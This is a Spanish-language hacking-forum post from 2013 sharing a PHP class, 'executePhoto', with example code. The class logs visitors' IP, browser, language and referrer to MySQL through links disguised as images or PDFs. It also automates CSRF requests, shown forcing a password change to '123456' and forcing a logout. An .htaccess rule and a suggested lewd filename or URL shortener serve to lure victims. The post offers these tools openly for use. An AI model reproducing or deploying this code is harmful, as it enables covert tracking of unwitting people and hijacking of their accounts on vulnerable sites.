Clase PHP para agilizar CSRF/XSRF y CaptureIP Image

Iniciado por WarGhost, 27 Febrero 2013, 20:06 PM

0 Miembros y 1 Visitante están viendo este tema.

WarGhost

Bueno hace tiempo que no revisaba las clases que tenia por el portátil y me encontré con esta, que aunque no sea muy extensa, es bastante útil para alguna que otra tontería. La subí a GIT por si a alguien le interesa.

Definición:
Básicamente es una class para poder capturar la IP/Navegador de un usuario mostrando una imagen, pdf o redirigiendo a otra web, los datos son guardados en una base de datos MySQL.
También nos vale para agilizar CSRF/XSRF ya que añadiendo los parámetros en un array ya estará creado todo el html y la redirección JS.

Enlace:
https://github.com/DaveMTC/executePhoto

Explicación:
Bueno es bastante sencillo el asunto, importamos la clase y luego llamamos a los métodos que queremos, por ejemplo:

Código (php) [Seleccionar]
<?php
    
require('class.executePhoto.php');

    
// Capturamos los datos de la conexion:
    
executePhoto::save_client();

    
// Imprimimos una imagen remota:
    
executePhoto::print_img('http://foro.elhacker.net/Themes/converted/selogo.jpg');

    
// Imprimimos un PDF:
    
executePhoto::print_pdf('http://www.boe.es/boe/dias/2013/02/04/pdfs/BOE-A-2013-1145.pdf');

    
// Parametros que seran redirigidos:
    
$param = array('contrasenya'                => '123456',
                   
'repetir_contrasenya' => '123456',
                   
'email'                      => 'ejemplo@email.com');

    
// Ejemplo de ejecucion arbitraria cambio contrasenya:
    
executePhoto::redirect_post('http://localhost/'$param);

    
// Redireccionamos la web y desconectamos a X usuario de la web:
    
executePhoto::redirect('http://localhost/logout');
?>


Tabla:
Los datos que se guardan en la base de datos son el lenguaje del navegador, la ip, el tipo de navegador, la hora y la url de referencia si es que existe.

Código (sql) [Seleccionar]
CREATE TABLE `list_clients` (
 `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
 `ip` varchar(120) DEFAULT NULL,
 `lang` varchar(200) DEFAULT NULL,
 `browser` varchar(200) DEFAULT NULL,
 `referer` varchar(200) DEFAULT NULL,
 `date` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
 PRIMARY KEY (`id`),
 UNIQUE KEY `ip` (`ip`) USING BTREE
) ENGINE=InnoDB AUTO_INCREMENT=0 DEFAULT CHARSET=latin1;


htaccess:
Por ultimo también hay un .htaccess, para que la url sea mas amigable al usuario, siempre entra mejor un http://www.miweb.es/lorena-desnuda.jpg aunque también podemos usar acortadores como bit.ly

RewriteEngine On
RewriteRule ^(.*)\.jpg$ example.php [NC]


Un saludo y ojala le sirva a alguien ^^.
¿Qué culpa tengo yo de tener la sangre roja y el corazón a la izquierda?